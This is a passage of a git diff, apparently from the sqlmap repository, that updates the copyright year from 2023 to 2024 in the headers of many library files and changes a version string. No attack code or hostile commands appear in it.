-Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 0c06b515307..cbb8cd78c76 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/controller/handler.py b/lib/controller/handler.py index 1c4994e8484..edece63bce7 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/__init__.py b/lib/core/__init__.py index 8476fab2f94..7777bded120 100644 --- a/lib/core/__init__.py +++ b/lib/core/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/agent.py b/lib/core/agent.py index 1eef47ecbea..81d24e8b359 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index 3cccd2d1ec6..2fabc7087ae 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/common.py b/lib/core/common.py index 3d6360bb84c..e76521dd3ca 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/compat.py b/lib/core/compat.py index 851e57eb87d..629c844b08a 100644 --- a/lib/core/compat.py +++ b/lib/core/compat.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/convert.py b/lib/core/convert.py index fe3f0d2cbab..2a211125ae3 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/data.py b/lib/core/data.py index c2b4325d719..668483495dc 100644 --- a/lib/core/data.py +++ b/lib/core/data.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/datatype.py b/lib/core/datatype.py index c044055e8c0..d595f905d7d 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/decorators.py b/lib/core/decorators.py index 433ae3f959b..d2e7f4715d8 100644 --- a/lib/core/decorators.py +++ b/lib/core/decorators.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/defaults.py b/lib/core/defaults.py index 54410f6dbf6..4ae9c89471c 100644 --- a/lib/core/defaults.py +++ b/lib/core/defaults.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/dicts.py b/lib/core/dicts.py index e031eca8e48..531ef10284f 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/dump.py b/lib/core/dump.py index 2e3cdfde635..42f713efd9d 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/enums.py b/lib/core/enums.py index 91ee35a0ec4..54d4177b71d 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/exception.py b/lib/core/exception.py index 8e487ce30e9..f923705d912 100644 --- a/lib/core/exception.py +++ b/lib/core/exception.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/gui.py b/lib/core/gui.py index fa6f2694943..00f98ee75c4 100644 --- a/lib/core/gui.py +++ b/lib/core/gui.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -223,7 +223,7 @@ def enqueue(stream, queue): helpmenu.add_command(label="Wiki pages", command=lambda: webbrowser.open(WIKI_PAGE)) helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE)) helpmenu.add_separator() - helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "Copyright (c) 2006-2023\n\n (%s)" % DEV_EMAIL_ADDRESS)) + helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "Copyright (c) 2006-2024\n\n (%s)" % DEV_EMAIL_ADDRESS)) menubar.add_cascade(label="Help", menu=helpmenu) window.config(menu=menubar) diff --git a/lib/core/log.py b/lib/core/log.py index 64e4f1b71dd..33e6a36b5f7 100644 --- a/lib/core/log.py +++ b/lib/core/log.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/option.py b/lib/core/option.py index 612b855c8cc..55cf4371381 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index b4dd0af7584..a404cccaaa1 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/patch.py b/lib/core/patch.py index 9136b70a472..a5d821291ac 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/profiling.py b/lib/core/profiling.py index 4fddab24a7e..6d3de015b52 100644 --- a/lib/core/profiling.py +++ b/lib/core/profiling.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/readlineng.py b/lib/core/readlineng.py index 0a6c1dd5185..602ccafa108 100644 --- a/lib/core/readlineng.py +++ b/lib/core/readlineng.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/replication.py b/lib/core/replication.py index 236d1ed4463..c425568fb00 100644 --- a/lib/core/replication.py +++ b/lib/core/replication.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/revision.py b/lib/core/revision.py index 7abd30cd03e..b3e5a046aad 100644 --- a/lib/core/revision.py +++ b/lib/core/revision.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/session.py b/lib/core/session.py index c50d7b03e87..52b6ed6438f 100644 --- a/lib/core/session.py +++ b/lib/core/session.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/settings.py b/lib/core/settings.py index 2b20ccec0ae..c500abb6fb9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.12.9" +VERSION = "1.7.1.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/shell.py b/lib/core/shell.py index 2ed47cecb8e..14c0076e203 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/subprocessng.py b/lib/core/subprocessng.py index 36fdf65636e..db2c18be556 100644 --- a/lib/core/subprocessng.py +++ b/lib/core/subprocessng.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/target.py b/lib/core/target.py index b39046aaacd..f46fe202210 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/testing.py b/lib/core/testing.py index b39229c6d6e..319ac88bbe1 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/threads.py b/lib/core/threads.py index 8b5a21deff2..50b035f2c2c 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/unescaper.py b/lib/core/unescaper.py index 4d9045149ad..09dcba60701 100644 --- a/lib/core/unescaper.py +++ b/lib/core/unescaper.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/update.py b/lib/core/update.py index 2fe6f12e1c6..c50547b83e8 100644 --- a/lib/core/update.py +++ b/lib/core/update.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/wordlist.py b/lib/core/wordlist.py index 781642bf5b7..d390ae69eea 100644 --- a/lib/core/wordlist.py +++ b/lib/core/wordlist.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/__init__.py b/lib/parse/__init__.py index 8476fab2f94..7777bded120 100644 --- a/lib/parse/__init__.py +++ b/lib/parse/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/banner.py b/lib/parse/banner.py index 42b4dddc1ba..0143beadd46 100644 --- a/lib/parse/banner.py +++ b/lib/parse/banner.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index b62a790378d..42d79ab2861 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py index 6891d11b4e3..006537888f3 100644 --- a/lib/parse/configfile.py +++ b/lib/parse/configfile.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/handler.py b/lib/parse/handler.py index 9b951810cf9..e1af2e5ff7b 100644 --- a/lib/parse/handler.py +++ b/lib/parse/handler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/headers.py b/lib/parse/headers.py index 52786244cee..39e40a1f8b1 100644 --- a/lib/parse/headers.py +++ b/lib/parse/headers.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/html.py b/lib/parse/html.py index 6e2aa6e36e7..374c1a2c3ec 100644 --- a/lib/parse/html.py +++ b/lib/parse/html.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/payloads.py b/lib/parse/payloads.py index 591abbfb7e0..5950787c13c 100644 --- a/lib/parse/payloads.py +++ b/lib/parse/payloads.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/sitemap.py b/lib/parse/sitemap.py index db2f0901e9e..542a58daf45 100644 --- a/lib/parse/sitemap.py +++ b/lib/parse/sitemap.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/__init__.py b/lib/request/__init__.py index 8476fab2f94..7777bded120 100644 --- a/lib/request/__init__.py +++ b/lib/request/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/basic.py b/lib/request/basic.py index c00fd0df6ca..ebe33a2e1d3 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/basicauthhandler.py b/lib/request/basicauthhandler.py index f7c8408d82e..a27368291a2 100644 --- a/lib/request/basicauthhandler.py +++ b/lib/request/basicauthhandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/chunkedhandler.py b/lib/request/chunkedhandler.py index b27599329b4..8477802eca3 100644 --- a/lib/request/chunkedhandler.py +++ b/lib/request/chunkedhandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/comparison.py b/lib/request/comparison.py index c703b2bb986..b62b899b26e 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/connect.py b/lib/request/connect.py index 57805c7fa56..0e7d2fa8a30 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/direct.py b/lib/request/direct.py index e56d2fb25d9..1c418da70bc 100644 --- a/lib/request/direct.py +++ b/lib/request/direct.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/dns.py b/lib/request/dns.py index 92dfdc187c0..70db51f9076 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index 03c4079dc48..d8a619d70c4 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/inject.py b/lib/request/inject.py index 2342837b38c..e260b9df496 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/methodrequest.py b/lib/request/methodrequest.py index 8535557b44f..f1b97b41833 100644 --- a/lib/request/methodrequest.py +++ b/lib/request/methodrequest.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/pkihandler.py b/lib/request/pkihandler.py index 05a6ccf16aa..712e8aaeafa 100644 --- a/lib/request/pkihandler.py +++ b/lib/request/pkihandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/rangehandler.py b/lib/request/rangehandler.py index ff0598cf06a..eebebc10f39 100644 --- a/lib/request/rangehandler.py +++ b/lib/request/rangehandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index 406ce6b6969..726106b56c8 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/templates.py b/lib/request/templates.py index bf673e2777b..05fecc2b86b 100644 --- a/lib/request/templates.py +++ b/lib/request/templates.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/__init__.py b/lib/takeover/__init__.py index 8476fab2f94..7777bded120 100644 --- a/lib/takeover/__init__.py +++ b/lib/takeover/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index 52f43ddde84..309b5fc46ef 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/icmpsh.py b/lib/takeover/icmpsh.py index 679a4cd45cf..14e54fbb98e 100644 --- a/lib/takeover/icmpsh.py +++ b/lib/takeover/icmpsh.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index d4a8776b133..0e88aa1c775 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/registry.py b/lib/takeover/registry.py index a63ec04a2d8..650ce100a1f 100644 --- a/lib/takeover/registry.py +++ b/lib/takeover/registry.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index 4a53de31df4..40da3988087 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 95727407a0d..3c7a819968d 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py index c81375a4508..90cf3c9e6a8 100644 --- a/lib/takeover/xp_cmdshell.py +++ b/lib/takeover/xp_cmdshell.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/__init__.py b/lib/techniques/__init__.py index 8476fab2f94..7777bded120 100644 --- a/lib/techniques/__init__.py +++ b/lib/techniques/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/blind/__init__.py b/lib/techniques/blind/__init__.py index 8476fab2f94..7777bded120 100644 --- a/lib/techniques/blind/__init__.py +++ b/lib/techniques/blind/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 67c639d94d8..748bbbf9972 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/dns/__init__.py b/lib/techniques/dns/__init__.py index 8476fab2f94..7777bded120 100644 --- a/lib/techniques/dns/__init__.py +++ b/lib/techniques/dns/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/dns/test.py b/lib/techniques/dns/test.py index c0c16679a65..1a8fe6a15ca 100644 --- a/lib/techniques/dns/test.py +++ b/lib/techniques/dns/test.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/dns/use.py b/lib/techniques/dns/use.py index d2c474fdcc9..4592d735a4e 100644 --- a/lib/techniques/dns/use.py +++ b/lib/techniques/dns/use.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/error/__init__.py b/lib/techniques/error/__init__.py index 8476fab2f94..7777bded120 100644 --- a/lib/techniques/error/__init__.py +++ 